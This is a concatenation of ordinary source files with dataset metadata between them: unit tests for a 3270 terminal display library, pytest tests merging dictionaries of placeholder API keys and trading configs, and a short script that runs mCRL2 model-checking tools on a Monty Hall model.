test_regen_eab(self): # Arrange self.display.eab_address = 7 self.display.address_counter = 80 # Act self.display.write(bytes.fromhex('01 02 03'), bytes.fromhex('04 05 06')) # Assert self.eab_write_alternate_mock.assert_called_with(self.terminal.interface, 7, bytes.fromhex('01 04 02 05 03 06'), jumbo_write_strategy=None) def test_regen_eab_repeat(self): # Arrange self.display.eab_address = 7 self.display.address_counter = 80 # Act self.display.write((bytes.fromhex('01 02 03'), 2), (bytes.fromhex('04 05 06'), 2)) # Assert self.eab_write_alternate_mock.assert_called_with(self.terminal.interface, 7, (bytes.fromhex('01 04 02 05 03 06'), 2), jumbo_write_strategy=None) class DisplayLoadAddressCounterTestCase(unittest.TestCase): def setUp(self): self.terminal = Mock() dimensions = Dimensions(24, 80) self.display = Display(self.terminal, dimensions, None) patcher = patch('oec.display.load_address_counter_hi') self.load_address_counter_hi_mock = patcher.start() patcher = patch('oec.display.load_address_counter_lo') self.load_address_counter_lo_mock = patcher.start() self.addCleanup(patch.stopall) def test(self): # Act self.display._load_address_counter(895, force_load=False) # Assert self.assertEqual(self.display.address_counter, 895) self.load_address_counter_hi_mock.assert_called_with(self.terminal.interface, 3) self.load_address_counter_lo_mock.assert_called_with(self.terminal.interface, 127) def test_hi_change(self): # Arrange self.display._load_address_counter(895, force_load=False) self.load_address_counter_hi_mock.reset_mock() self.load_address_counter_lo_mock.reset_mock() # Act self.display._load_address_counter(1151, force_load=False) # Assert self.assertEqual(self.display.address_counter, 1151) self.load_address_counter_hi_mock.assert_called_with(self.terminal.interface, 4) self.load_address_counter_lo_mock.assert_not_called() def test_lo_change(self): # Arrange self.display._load_address_counter(895, force_load=False) self.load_address_counter_hi_mock.reset_mock() self.load_address_counter_lo_mock.reset_mock() # Act self.display._load_address_counter(896, force_load=False) # Assert self.assertEqual(self.display.address_counter, 896) self.load_address_counter_hi_mock.assert_not_called() self.load_address_counter_lo_mock.assert_called_with(self.terminal.interface, 128) def test_hi_lo_change(self): # Arrange self.display._load_address_counter(895, force_load=False) self.load_address_counter_hi_mock.reset_mock() self.load_address_counter_lo_mock.reset_mock() # Act self.display._load_address_counter(1152, force_load=False) # Assert self.assertEqual(self.display.address_counter, 1152) self.load_address_counter_hi_mock.assert_called_with(self.terminal.interface, 4) self.load_address_counter_lo_mock.assert_called_with(self.terminal.interface, 128) def test_no_change(self): # Arrange self.display._load_address_counter(80, force_load=False) self.load_address_counter_hi_mock.reset_mock() self.load_address_counter_lo_mock.reset_mock() # Act self.display._load_address_counter(80, force_load=False) # Assert self.assertEqual(self.display.address_counter, 80) self.load_address_counter_hi_mock.assert_not_called() self.load_address_counter_lo_mock.assert_not_called() def test_no_change_force(self): # Arrange self.display._load_address_counter(80, force_load=False) self.load_address_counter_hi_mock.reset_mock() self.load_address_counter_lo_mock.reset_mock() # Act self.display._load_address_counter(80, force_load=True) # Assert self.assertEqual(self.display.address_counter, 80) self.load_address_counter_hi_mock.assert_called_with(self.terminal.interface, 0) self.load_address_counter_lo_mock.assert_called_with(self.terminal.interface, 80) class StatusLineWriteTestCase(unittest.TestCase): def setUp(self): self.display = Mock() self.display.dimensions = Dimensions(24, 80) self.status_line = StatusLine(self.display) def test(self): self.status_line.write(77, bytes.fromhex('01 02 03')) def test_column_out_of_range(self): with self.assertRaisesRegex(ValueError, 'Column is out of range'): self.status_line.write(80, bytes.fromhex('01 02 03')) def test_length_out_of_range(self): with self.assertRaisesRegex(ValueError, 'Length is out of range'): self.status_line.write(78, bytes.fromhex('01 02 03')) class BufferedDisplayBufferedWriteByteTestCase(unittest.TestCase): def setUp(self): self.terminal = Mock() dimensions = Dimensions(24, 80) self.buffered_display = BufferedDisplay(self.terminal, dimensions, None) def test_no_eab_feature(self): # Act and assert with self.assertRaisesRegex(RuntimeError, 'No EAB feature'): self.buffered_display.buffered_write_byte(0x01, 0x02, address=80) def test_no_address(self): # Act and assert with self.assertRaisesRegex(ValueError, 'Either address, index or row and column is required'): self.buffered_display.buffered_write_byte(0x01, None) def test_regen_no_change_with_no_eab_feature(self): # Arrange self.assertFalse(self.buffered_display.dirty) # Act and assert self.assertFalse(self.buffered_display.buffered_write_byte(0x00, None, address=80)) self.assertFalse(self.buffered_display.dirty) def test_regen_change_with_no_eab_feature(self): # Arrange self.assertFalse(self.buffered_display.dirty) # Act and assert self.assertTrue(self.buffered_display.buffered_write_byte(0x01, None, address=80)) self.assertSequenceEqual(self.buffered_display.dirty, [80]) self.assertEqual(self.buffered_display.regen_buffer[80], 0x01) def test_regen_no_change_eab_no_change(self): # Arrange dimensions = Dimensions(24, 80) self.buffered_display = BufferedDisplay(self.terminal, dimensions, 7) self.assertFalse(self.buffered_display.dirty) # Act and assert self.assertFalse(self.buffered_display.buffered_write_byte(0x00, 0x00, address=80)) self.assertFalse(self.buffered_display.dirty) def test_regen_change_eab_no_change(self): # Arrange dimensions = Dimensions(24, 80) self.buffered_display = BufferedDisplay(self.terminal, dimensions, 7) self.assertFalse(self.buffered_display.dirty) # Act and assert self.assertTrue(self.buffered_display.buffered_write_byte(0x01, 0x00, address=80)) self.assertSequenceEqual(self.buffered_display.dirty, [80]) self.assertEqual(self.buffered_display.regen_buffer[80], 0x01) self.assertEqual(self.buffered_display.eab_buffer[80], 0x00) def test_regen_no_change_eab_change(self): # Arrange dimensions = Dimensions(24, 80) self.buffered_display = BufferedDisplay(self.terminal, dimensions, 7) self.assertFalse(self.buffered_display.dirty) # Act and assert self.assertTrue(self.buffered_display.buffered_write_byte(0x00, 0x02, address=80)) self.assertSequenceEqual(self.buffered_display.dirty, [80]) self.assertEqual(self.buffered_display.regen_buffer[80], 0x00) self.assertEqual(self.buffered_display.eab_buffer[80], 0x02) def test_regen_change_eab_change(self): # Arrange dimensions = Dimensions(24, 80) self.buffered_display = BufferedDisplay(self.terminal, dimensions, 7) self.assertFalse(self.buffered_display.dirty) # Act and assert self.assertTrue(self.buffered_display.buffered_write_byte(0x01, 0x02, address=80)) self.assertSequenceEqual(self.buffered_display.dirty, [80]) self.assertEqual(self.buffered_display.regen_buffer[80], 0x01) self.assertEqual(self.buffered_display.eab_buffer[80], 0x02) class BufferedDisplayFlushTestCase(unittest.TestCase): def setUp(self): self.terminal = Mock() dimensions = Dimensions(24, 80) self.buffered_display = BufferedDisplay(self.terminal, dimensions, None) self.buffered_display.write = Mock(wraps=self.buffered_display.write) patcher = patch('oec.display.read_address_counter_hi') self.read_address_counter_hi_mock = patcher.start() patcher = patch('oec.display.read_address_counter_lo') self.read_address_counter_lo_mock = patcher.start() patcher = patch('oec.display.load_address_counter_hi') self.load_address_counter_hi_mock = patcher.start() patcher = patch('oec.display.load_address_counter_lo') self.load_address_counter_lo_mock = patcher.start() patcher = patch('oec.display.write_data') self.write_data_mock = patcher.start() patcher = patch('oec.display.eab_write_alternate') self.eab_write_alternate_mock = patcher.start() self.addCleanup(patch.stopall) def test_no_changes(self): # Arrange self.assertFalse(self.buffered_display.dirty) # Act and assert self.assertFalse(self.buffered_display.flush()) self.assertFalse(self.buffered_display.dirty) self.buffered_display.write.assert_not_called() def test_single_range_with_no_eab_feature(self): # Arrange self.assertFalse(self.buffered_display.dirty) self.buffered_display.buffered_write_byte(0x01, None, address=80) self.buffered_display.buffered_write_byte(0x02, None, address=81) self.buffered_display.buffered_write_byte(0x03, None, address=82) # Act and assert self.assertTrue(self.buffered_display.flush()) self.assertFalse(self.buffered_display.dirty) self.assertEqual(self.buffered_display.regen_buffer[80:83], bytes.fromhex('01 02 03')) self.buffered_display.write.assert_called_with(bytes.fromhex('01 02 03'), None, address=80) def test_single_range_with_eab_feature(self): # Arrange dimensions = Dimensions(24, 80) self.buffered_display = BufferedDisplay(self.terminal, dimensions, 7) self.buffered_display.write = Mock(wraps=self.buffered_display.write) self.assertFalse(self.buffered_display.dirty) self.buffered_display.buffered_write_byte(0x01, 0x11, address=80) self.buffered_display.buffered_write_byte(0x02, 0x12, address=81) self.buffered_display.buffered_write_byte(0x03, 0x13, address=82) # Act and assert self.assertTrue(self.buffered_display.flush()) self.assertFalse(self.buffered_display.dirty) self.assertEqual(self.buffered_display.regen_buffer[80:83], bytes.fromhex('01 02 03')) self.assertEqual(self.buffered_display.eab_buffer[80:83], bytes.fromhex('11 12 13')) self.buffered_display.write.assert_called_with(bytes.fromhex('01 02 03'), bytes.fromhex('11 12 13'), address=80) def test_multiple_ranges_with_no_eab_feature(self): # Arrange self.assertFalse(self.buffered_display.dirty) self.buffered_display.buffered_write_byte(0x01, None, address=80) self.buffered_display.buffered_write_byte(0x02, None, address=81) self.buffered_display.buffered_write_byte(0x03, None, address=82) self.buffered_display.buffered_write_byte(0x05, None, address=110) self.buffered_display.buffered_write_byte(0x06, None, address=111) self.buffered_display.buffered_write_byte(0x07, None, address=112) self.buffered_display.buffered_write_byte(0x04, None, address=100) # Act and assert self.assertTrue(self.buffered_display.flush()) self.assertFalse(self.buffered_display.dirty) self.assertEqual(self.buffered_display.regen_buffer[80:83], bytes.fromhex('01 02 03')) self.assertEqual(self.buffered_display.regen_buffer[100:101], bytes.fromhex('04')) self.assertEqual(self.buffered_display.regen_buffer[110:113], bytes.fromhex('05 06 07')) self.buffered_display.write.assert_called_with(bytes.fromhex('01 02 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 05 06 07'), None, address=80) def test_multiple_ranges_with_eab_feature(self): # Arrange dimensions = Dimensions(24, 80) self.buffered_display = BufferedDisplay(self.terminal, dimensions, 7) self.buffered_display.write = Mock(wraps=self.buffered_display.write) self.assertFalse(self.buffered_display.dirty) self.buffered_display.buffered_write_byte(0x01, 0x11, address=80) self.buffered_display.buffered_write_byte(0x02, 0x12, address=81) self.buffered_display.buffered_write_byte(0x03, 0x13, address=82) self.buffered_display.buffered_write_byte(0x05, 0x15, address=110) self.buffered_display.buffered_write_byte(0x06, 0x16, address=111) self.buffered_display.buffered_write_byte(0x07, 0x17, address=112) self.buffered_display.buffered_write_byte(0x04, 0x14, address=100) # Act and assert self.assertTrue(self.buffered_display.flush()) self.assertFalse(self.buffered_display.dirty) self.assertEqual(self.buffered_display.regen_buffer[80:83], bytes.fromhex('01 02 03')) self.assertEqual(self.buffered_display.regen_buffer[100:101], bytes.fromhex('04')) self.assertEqual(self.buffered_display.regen_buffer[110:113], bytes.fromhex('05 06 07')) self.assertEqual(self.buffered_display.eab_buffer[80:83], bytes.fromhex('11 12 13')) self.assertEqual(self.buffered_display.eab_buffer[100:101], bytes.fromhex('14')) self.assertEqual(self.buffered_display.eab_buffer[110:113], bytes.fromhex('15 16 17')) self.buffered_display.write.assert_called_with(bytes.fromhex('01 02 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 05 06 07'), bytes.fromhex('11 12 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 00 00 15 16 17'), address=80) class BufferedDisplayClearTestCase(unittest.TestCase): def setUp(self): self.terminal = Mock() dimensions = Dimensions(24, 80) self.buffered_display = BufferedDisplay(self.terminal, dimensions, None) self.buffered_display.write = Mock(wraps=self.buffered_display.write) self.buffered_display._load_address_counter = Mock(wraps=self.buffered_display._load_address_counter) patcher = patch('oec.display.read_address_counter_hi') self.read_address_counter_hi_mock = patcher.start() patcher = patch('oec.display.read_address_counter_lo') self.read_address_counter_lo_mock = patcher.start() patcher = patch('oec.display.load_address_counter_hi') self.load_address_counter_hi_mock = patcher.start() patcher = patch('oec.display.load_address_counter_lo') self.load_address_counter_lo_mock = patcher.start() patcher = patch('oec.display.write_data') self.write_data_mock = patcher.start() patcher = patch('oec.display.eab_write_alternate') self.eab_write_alternate_mock = patcher.start() self.addCleanup(patch.stopall) def test_excluding_status_line_with_no_eab_feature(self): # Arrange self.buffered_display.buffered_write_byte(0x01, None, address=80) self.assertTrue(self.buffered_display.dirty) # Act self.buffered_display.clear(clear_status_line=False) # Assert self.buffered_display.write.assert_called_with((b'\x00', 1920), None, address=80) self.buffered_display._load_address_counter.assert_called_with(80, True) self.assertTrue(all(byte == 0x00 for byte in self.buffered_display.regen_buffer)) self.assertFalse(self.buffered_display.dirty) def test_excluding_status_line_with_eab_feature(self): # Arrange dimensions = Dimensions(24, 80) self.buffered_display = BufferedDisplay(self.terminal, dimensions, 7) self.buffered_display.write = Mock(wraps=self.buffered_display.write) self.buffered_display._load_address_counter = Mock(wraps=self.buffered_display._load_address_counter) self.buffered_display.buffered_write_byte(0x01, 0x02, address=80) self.assertTrue(self.buffered_display.dirty) # Act self.buffered_display.clear(clear_status_line=False) # Assert self.buffered_display.write.assert_called_with((b'\x00', 1920), (b'\x00', 1920), address=80) self.buffered_display._load_address_counter.assert_called_with(80, True) self.assertTrue(all(byte == 0x00 for byte in self.buffered_display.regen_buffer)) self.assertTrue(all(byte == 0x00 for byte in self.buffered_display.eab_buffer)) self.assertFalse(self.buffered_display.dirty) def test_including_status_line_with_no_eab_feature(self): # Arrange self.buffered_display.buffered_write_byte(0x01, None, address=80) self.assertTrue(self.buffered_display.dirty) # Act self.buffered_display.clear(clear_status_line=True) # Assert self.buffered_display.write.assert_called_with((b'\x00', 2000), None, address=0) self.buffered_display._load_address_counter.assert_called_with(80, True) self.assertTrue(all(byte == 0x00 for byte in self.buffered_display.regen_buffer)) self.assertFalse(self.buffered_display.dirty) def test_including_status_line_with_eab_feature(self): # Arrange dimensions = Dimensions(24, 80) self.buffered_display = BufferedDisplay(self.terminal, dimensions, 7) self.buffered_display.write = Mock(wraps=self.buffered_display.write) self.buffered_display._load_address_counter = Mock(wraps=self.buffered_display._load_address_counter) self.buffered_display.buffered_write_byte(0x01, 0x02, address=80) self.assertTrue(self.buffered_display.dirty) # Act self.buffered_display.clear(clear_status_line=True) # Assert self.buffered_display.write.assert_called_with((b'\x00', 2000), (b'\x00', 2000), address=0) self.buffered_display._load_address_counter.assert_called_with(80, True) self.assertTrue(all(byte == 0x00 for byte in self.buffered_display.regen_buffer)) self.assertTrue(all(byte == 0x00 for byte in self.buffered_display.eab_buffer)) self.assertFalse(self.buffered_display.dirty) class BufferedDisplayWriteTestCase(unittest.TestCase): def setUp(self): self.terminal = Mock() dimensions = Dimensions(24, 80) self.buffered_display = BufferedDisplay(self.terminal, dimensions, None) self.buffered_display._read_address_counter = Mock(wraps=self.buffered_display._read_address_counter) self.buffered_display._load_address_counter = Mock(wraps=self.buffered_display._load_address_counter) patcher = patch('oec.display.read_address_counter_hi') self.read_address_counter_hi_mock = patcher.start() patcher = patch('oec.display.read_address_counter_lo') self.read_address_counter_lo_mock = patcher.start() patcher = patch('oec.display.load_address_counter_hi') self.load_address_counter_hi_mock = patcher.start() patcher = patch('oec.display.load_address_counter_lo') self.load_address_counter_lo_mock = patcher.start() patcher = patch('oec.display.write_data') self.write_data_mock = patcher.start() patcher = patch('oec.display.eab_write_alternate') self.eab_write_alternate_mock = patcher.start() self.addCleanup(patch.stopall) def test_if_current_address_unknown(self): # Arrange self.assertIsNone(self.buffered_display.address_counter) self.read_address_counter_hi_mock.return_value = 0 self.read_address_counter_lo_mock.return_value = 160 # Act self.buffered_display.write(bytes.fromhex('01 02 03'), None) # Assert self.assertEqual(self.buffered_display.address_counter, 163) self.assertEqual(self.buffered_display.regen_buffer[160:163], bytes.fromhex('01 02 03')) self.buffered_display._read_address_counter.assert_called() self.buffered_display._load_address_counter.assert_not_called() def test_address_if_current_address_unknown(self): # Arrange self.assertIsNone(self.buffered_display.address_counter) # Act self.buffered_display.write(bytes.fromhex('01 02 03'), None, address=80) # Assert self.assertEqual(self.buffered_display.address_counter, 83) self.assertEqual(self.buffered_display.regen_buffer[80:83], bytes.fromhex('01 02 03')) self.buffered_display._read_address_counter.assert_not_called() self.buffered_display._load_address_counter.assert_called_with(80, force_load=False) def test_regen_only(self): # Arrange self.buffered_display.address_counter = 80 # Act self.buffered_display.write(bytes.fromhex('01 02 03'), None) # Assert self.assertEqual(self.buffered_display.regen_buffer[80:83], bytes.fromhex('01 02 03')) self.write_data_mock.assert_called_with(self.terminal.interface, bytes.fromhex('01 02 03'), jumbo_write_strategy=None) def test_regen_only_repeat(self): # Arrange self.buffered_display.address_counter = 80 # Act self.buffered_display.write((bytes.fromhex('01 02 03'), 2), None) # Assert self.assertEqual(self.buffered_display.regen_buffer[80:86], bytes.fromhex('01 02 03 01 02 03')) self.write_data_mock.assert_called_with(self.terminal.interface, (bytes.fromhex('01 02 03'), 2), jumbo_write_strategy=None) def test_regen_eab(self): # Arrange dimensions = Dimensions(24, 80) self.buffered_display = BufferedDisplay(self.terminal, dimensions, 7) self.buffered_display._read_address_counter = Mock(wraps=self.buffered_display._read_address_counter) self.buffered_display._load_address_counter = Mock(wraps=self.buffered_display._load_address_counter) self.buffered_display.address_counter = 80 # Act self.buffered_display.write(bytes.fromhex('01 02 03'), bytes.fromhex('04 05 06')) # Assert self.assertEqual(self.buffered_display.regen_buffer[80:83], bytes.fromhex('01 02 03')) self.assertEqual(self.buffered_display.eab_buffer[80:83], bytes.fromhex('04 05 06')) self.eab_write_alternate_mock.assert_called_with(self.terminal.interface, 7, bytes.fromhex('01 04 02 05 03 06'), jumbo_write_strategy=None) def test_regen_eab_repeat(self): # Arrange dimensions = Dimensions(24, 80) self.buffered_display = BufferedDisplay(self.terminal, dimensions, 7) self.buffered_display._read_address_counter = Mock(wraps=self.buffered_display._read_address_counter) self.buffered_display._load_address_counter = Mock(wraps=self.buffered_display._load_address_counter) self.buffered_display.address_counter = 80 # Act self.buffered_display.write((bytes.fromhex('01 02 03'), 2), (bytes.fromhex('04 05 06'), 2)) # Assert self.assertEqual(self.buffered_display.regen_buffer[80:86], bytes.fromhex('01 02 03 01 02 03')) self.assertEqual(self.buffered_display.eab_buffer[80:86], bytes.fromhex('04 05 06 04 05 06')) self.eab_write_alternate_mock.assert_called_with(self.terminal.interface, 7, (bytes.fromhex('01 04 02 05 03 06'), 2), jumbo_write_strategy=None) def test_dirty_cleared(self): # Arrange self.buffered_display.address_counter = 81 self.buffered_display.buffered_write_byte(0x01, None, address=80) self.buffered_display.buffered_write_byte(0x02, None, address=81) self.buffered_display.buffered_write_byte(0x03, None, address=82) self.assertSequenceEqual(self.buffered_display.dirty, [80, 81, 82]) # Act self.buffered_display.write(bytes.fromhex('02 03'), None) # Assert self.assertEqual(self.buffered_display.regen_buffer[80:83], bytes.fromhex('01 02 03')) self.assertSequenceEqual(self.buffered_display.dirty, [80]) class EncodeAsciiCharacterTestCase(unittest.TestCase): def test_mapped_character(self): self.assertEqual(encode_ascii_character(ord('a')), 0x80) def test_unmapped_character(self): self.assertEqual(encode_ascii_character(ord('`')), 0x00) def test_out_of_range(self): self.assertEqual(encode_ascii_character(ord('✓')), 0x00) class EncodeEbcdicCharacterTestCase(unittest.TestCase): def test_mapped_character(self): self.assertEqual(encode_ebcdic_character(129), 0x80) def test_unmapped_character(self): self.assertEqual(encode_ebcdic_character(185), 0x00) def test_out_of_range(self): self.assertEqual(encode_ebcdic_character(256), 0x00) class EncodeStringTestCase(unittest.TestCase): def test_mapped_characters(self): self.assertEqual(encode_string('Hello, world!'), bytes.fromhex('a7 84 8b 8b 8e 33 00 96 8e 91 8b 83 19')) def test_unmapped_characters(self): self.assertEqual(encode_string('Everything ✓'), bytes.fromhex('a4 95 84 91 98 93 87 88 8d 86 00 18'))

36.321285

300

0.706131

4,659

36,176

5.199614

0.047864

0.092632

0.146667

0.065015

0.952528

0.941011

0.930609

0.902208

0.88355

0.857337

0

0.050801

0.195765

36,176

995

301

36.357789

0.781776

0.027587

0

0.711538

0

0.005769

0.066627

0.03153

0

0.008104

0

0.342308

1

0.140385

false

0

0.007692

0

0.171154

0

null

0

1

0

1

0

null

0

7

21a0b793c79eb4592497316522f6989504c60316

13,472

py

Python

tests/functional/utils/test_merge_dictionaries.py

s0undt3ch/mommas-cookbook

ccca526eee9241f12674cad8c1e1da1a900cef82

[ "Apache-2.0" ]

2

2022-01-02T23:47:32.000Z

2022-01-07T11:14:15.000Z

tests/functional/utils/test_merge_dictionaries.py

UfSoft/mommas-cookbook

ccca526eee9241f12674cad8c1e1da1a900cef82

[ "Apache-2.0" ]

1

2022-01-17T12:47:37.000Z

tests/functional/utils/test_merge_dictionaries.py

s0undt3ch/mommas-cookbook

ccca526eee9241f12674cad8c1e1da1a900cef82

[ "Apache-2.0" ]

1

2022-01-10T18:49:36.000Z

from __future__ import annotations from typing import Any import pytest from mcookbook.utils import merge_dictionaries @pytest.fixture def complete_dictionary() -> dict[str, dict[str, Any]]: return { "api_keys": { "account-1": { "exchange": "binance", "key": "this is the account-1 key", "secret": "this is the account-1 secret", }, "account-2": { "exchange": "binance", "key": "this is the account-2 key", "secret": "this is the account-2 secret", }, }, "configs": { "config-1": { "long": { "enabled": True, "eprice_exp_base": 1.3164933633605387, "eprice_pprice_diff": 0.010396126108277413, "grid_span": 0.19126847969076527, "initial_qty_pct": 0.010806866720334485, "markup_range": 0.00867933346187278, "max_n_entry_orders": 10.0, "min_markup": 0.006563436956524566, "n_close_orders": 8.3966954756245, "wallet_exposure_limit": 0.15, "secondary_allocation": 0.5, "secondary_pprice_diff": 0.25837415008453263, }, "short": { "enabled": False, "eprice_exp_base": 1.618034, "eprice_pprice_diff": 0.001, "grid_span": 0.03, "initial_qty_pct": 0.001, "markup_range": 0.004, "max_n_entry_orders": 10, "min_markup": 0.0005, "n_close_orders": 7, "wallet_exposure_limit": 0.5, "secondary_allocation": 0, "secondary_pprice_diff": 0.21, }, }, "config-2": { "long": { "enabled": True, "eprice_exp_base": 1.3164933633605387, "eprice_pprice_diff": 0.010396126108277413, "grid_span": 0.19126847969076527, "initial_qty_pct": 0.010806866720334485, "markup_range": 0.00867933346187278, "max_n_entry_orders": 10.0, "min_markup": 0.006563436956524566, "n_close_orders": 8.3966954756245, "wallet_exposure_limit": 0.15, "secondary_allocation": 0.5, "secondary_pprice_diff": 0.25837415008453263, }, "short": { "enabled": False, "eprice_exp_base": 1.618034, "eprice_pprice_diff": 0.001, "grid_span": 0.03, "initial_qty_pct": 0.001, "markup_range": 0.004, "max_n_entry_orders": 10, "min_markup": 0.0005, "n_close_orders": 7, "wallet_exposure_limit": 0.5, "secondary_allocation": 0, "secondary_pprice_diff": 0.21, }, }, }, "symbols": { "BTCUSDT": { "config_name": "config-1", "key_name": "account-1", }, "ETHUSDT": { "config_name": "config-1", "key_name": "account-1", }, }, } def test_missing_top_level_keys(complete_dictionary): keys: dict[str, dict[str, Any]] = { "api_keys": { "account-1": { "exchange": "binance", "key": "this is the account-1 key", "secret": "this is the account-1 secret", }, "account-2": { "exchange": "binance", "key": "this is the account-2 key", "secret": "this is the account-2 secret", }, } } configs: dict[str, Any] = { "configs": { "config-1": { "long": { "enabled": True, "eprice_exp_base": 1.3164933633605387, "eprice_pprice_diff": 0.010396126108277413, "grid_span": 0.19126847969076527, "initial_qty_pct": 0.010806866720334485, "markup_range": 0.00867933346187278, "max_n_entry_orders": 10.0, "min_markup": 0.006563436956524566, "n_close_orders": 8.3966954756245, "wallet_exposure_limit": 0.15, "secondary_allocation": 0.5, "secondary_pprice_diff": 0.25837415008453263, }, "short": { "enabled": False, "eprice_exp_base": 1.618034, "eprice_pprice_diff": 0.001, "grid_span": 0.03, "initial_qty_pct": 0.001, "markup_range": 0.004, "max_n_entry_orders": 10, "min_markup": 0.0005, "n_close_orders": 7, "wallet_exposure_limit": 0.5, "secondary_allocation": 0, "secondary_pprice_diff": 0.21, }, }, "config-2": { "long": { "enabled": True, "eprice_exp_base": 1.3164933633605387, "eprice_pprice_diff": 0.010396126108277413, "grid_span": 0.19126847969076527, "initial_qty_pct": 0.010806866720334485, "markup_range": 0.00867933346187278, "max_n_entry_orders": 10.0, "min_markup": 0.006563436956524566, "n_close_orders": 8.3966954756245, "wallet_exposure_limit": 0.15, "secondary_allocation": 0.5, "secondary_pprice_diff": 0.25837415008453263, }, "short": { "enabled": False, "eprice_exp_base": 1.618034, "eprice_pprice_diff": 0.001, "grid_span": 0.03, "initial_qty_pct": 0.001, "markup_range": 0.004, "max_n_entry_orders": 10, "min_markup": 0.0005, "n_close_orders": 7, "wallet_exposure_limit": 0.5, "secondary_allocation": 0, "secondary_pprice_diff": 0.21, }, }, } } target_dict: dict[str, dict[str, Any]] = { "symbols": { "BTCUSDT": { "config_name": "config-1", "key_name": "account-1", }, "ETHUSDT": { "config_name": "config-1", "key_name": "account-1", }, }, } assert "api_keys" not in target_dict assert "configs" not in target_dict merge_dictionaries(target_dict, keys, configs) assert target_dict == complete_dictionary def test_nested_dictionaries(complete_dictionary): keys: dict[str, dict[str, Any]] = { "api_keys": { "account-1": { "exchange": "binance", "key": "this is the account-1 key", "secret": "this is the account-1 secret", }, "account-2": { "exchange": "binance", "key": "this is the account-2 key", "secret": "this is the account-2 secret", }, } } configs: dict[str, dict[str, Any]] = { "configs": { "config-1": { "long": { "enabled": True, "eprice_exp_base": 1.3164933633605387, "eprice_pprice_diff": 0.010396126108277413, "grid_span": 0.19126847969076527, "initial_qty_pct": 0.010806866720334485, "markup_range": 0.00867933346187278, "max_n_entry_orders": 10.0, "min_markup": 0.006563436956524566, "n_close_orders": 8.3966954756245, "wallet_exposure_limit": 0.15, "secondary_allocation": 0.5, "secondary_pprice_diff": 0.25837415008453263, }, "short": { "enabled": False, "eprice_exp_base": 1.618034, "eprice_pprice_diff": 0.001, "grid_span": 0.03, "initial_qty_pct": 0.001, "markup_range": 0.004, "max_n_entry_orders": 10, "min_markup": 0.0005, "n_close_orders": 7, "wallet_exposure_limit": 0.5, "secondary_allocation": 0, "secondary_pprice_diff": 0.21, }, }, "config-2": { "long": { "enabled": True, "eprice_exp_base": 1.3164933633605387, "eprice_pprice_diff": 0.010396126108277413, "grid_span": 0.19126847969076527, "initial_qty_pct": 0.010806866720334485, "markup_range": 0.00867933346187278, "max_n_entry_orders": 10.0, "min_markup": 0.006563436956524566, "n_close_orders": 8.3966954756245, "wallet_exposure_limit": 0.15, "secondary_allocation": 0.5, "secondary_pprice_diff": 0.25837415008453263, }, "short": { "enabled": False, "eprice_exp_base": 1.618034, "eprice_pprice_diff": 0.001, "grid_span": 0.03, "initial_qty_pct": 0.001, "markup_range": 0.004, "max_n_entry_orders": 10, "min_markup": 0.0005, "n_close_orders": 7, "wallet_exposure_limit": 0.5, "secondary_allocation": 0, "secondary_pprice_diff": 0.21, }, }, } } symbols: dict[str, dict[str, Any]] = { "symbols": { "ETHUSDT": { "config_name": "config-1", "key_name": "account-1", }, }, } target_dict: dict[str, dict[str, Any]] = { "api_keys": { "account-1": { "exchange": "binance", "key": "this is the account-1 key", "secret": "this is the account-1 secret", }, }, "configs": { "config-1": { "long": { "enabled": True, "eprice_exp_base": 1.3164933633605387, "eprice_pprice_diff": 0.010396126108277413, "grid_span": 0.19126847969076527, "initial_qty_pct": 0.010806866720334485, "markup_range": 0.00867933346187278, "max_n_entry_orders": 10.0, "min_markup": 0.006563436956524566, "n_close_orders": 8.3966954756245, "wallet_exposure_limit": 0.15, "secondary_allocation": 0.5, "secondary_pprice_diff": 0.25837415008453263, }, "short": { "enabled": False, "eprice_exp_base": 1.618034, "eprice_pprice_diff": 0.001, "grid_span": 0.03, "initial_qty_pct": 0.001, "markup_range": 0.004, "max_n_entry_orders": 10, "min_markup": 0.0005, "n_close_orders": 7, "wallet_exposure_limit": 0.5, "secondary_allocation": 0, "secondary_pprice_diff": 0.21, }, }, }, "symbols": { "BTCUSDT": { "config_name": "config-1", "key_name": "account-1", }, }, } assert "account-2" not in target_dict["api_keys"] assert "config-2" not in target_dict["configs"] assert "ETHUSDT" not in target_dict["symbols"] merge_dictionaries(target_dict, keys, configs, symbols) assert target_dict == complete_dictionary def test_nested_key_override(complete_dictionary): symbols: dict[str, dict[str, Any]] = { "symbols": { "ETHUSDT": { "config_name": "config-2", }, }, } assert complete_dictionary["symbols"]["ETHUSDT"]["key_name"] == "account-1" assert complete_dictionary["symbols"]["ETHUSDT"]["config_name"] == "config-1" merge_dictionaries(complete_dictionary, symbols) assert complete_dictionary["symbols"]["ETHUSDT"]["key_name"] == "account-1" assert complete_dictionary["symbols"]["ETHUSDT"]["config_name"] == "config-2"

37.949296

81

0.443438

1,162

13,472

4.858864

0.080895

0.049593

0.054552

0.039674

0.933936

0.925257

0.911265

0.904711

0.888062

0.883103

0

0.179436

0.441954

13,472

354

82

38.056497

0.571562

0

0.764012

0

0.282735

0.043646

0

0.032448

1

0.011799

false

0

0.011799

0.00295

0.026549

0

null

0

1

0

1

0

null

0

7

21c0a1c6cb7667c6676db3189e9e8fff21d8ff5e

125

py

Python

examples/probabilistic/monty_hall_tv_show/run.py

Noxsense/mCRL2

dd2fcdd6eb8b15af2729633041c2dbbd2216ad24

[ "BSL-1.0" ]

61

2018-05-24T13:14:05.000Z

2022-03-29T11:35:03.000Z

examples/probabilistic/monty_hall_tv_show/run.py

Noxsense/mCRL2

dd2fcdd6eb8b15af2729633041c2dbbd2216ad24

[ "BSL-1.0" ]

229

2018-05-28T08:31:09.000Z

2022-03-21T11:02:41.000Z

examples/probabilistic/monty_hall_tv_show/run.py

Noxsense/mCRL2

dd2fcdd6eb8b15af2729633041c2dbbd2216ad24

[ "BSL-1.0" ]

28

2018-04-11T14:09:39.000Z

2022-02-25T15:57:39.000Z

import os os.system('mcrl22lps -v monty_hall.mcrl2 monty_hall.lps') os.system('lps2lts -v monty_hall.lps monty_hall.aut')

17.857143

57

0.768

22

125

4.181818

0.5

0.391304

0.217391

0

0.035714

0.104

125

6

58

20.833333

0.785714

0

0.682927

0

1

0

true

0

0.333333

0

0.333333

0

1

0

null

1

0

1

0

1

0

null

0

1

0

1

0

7

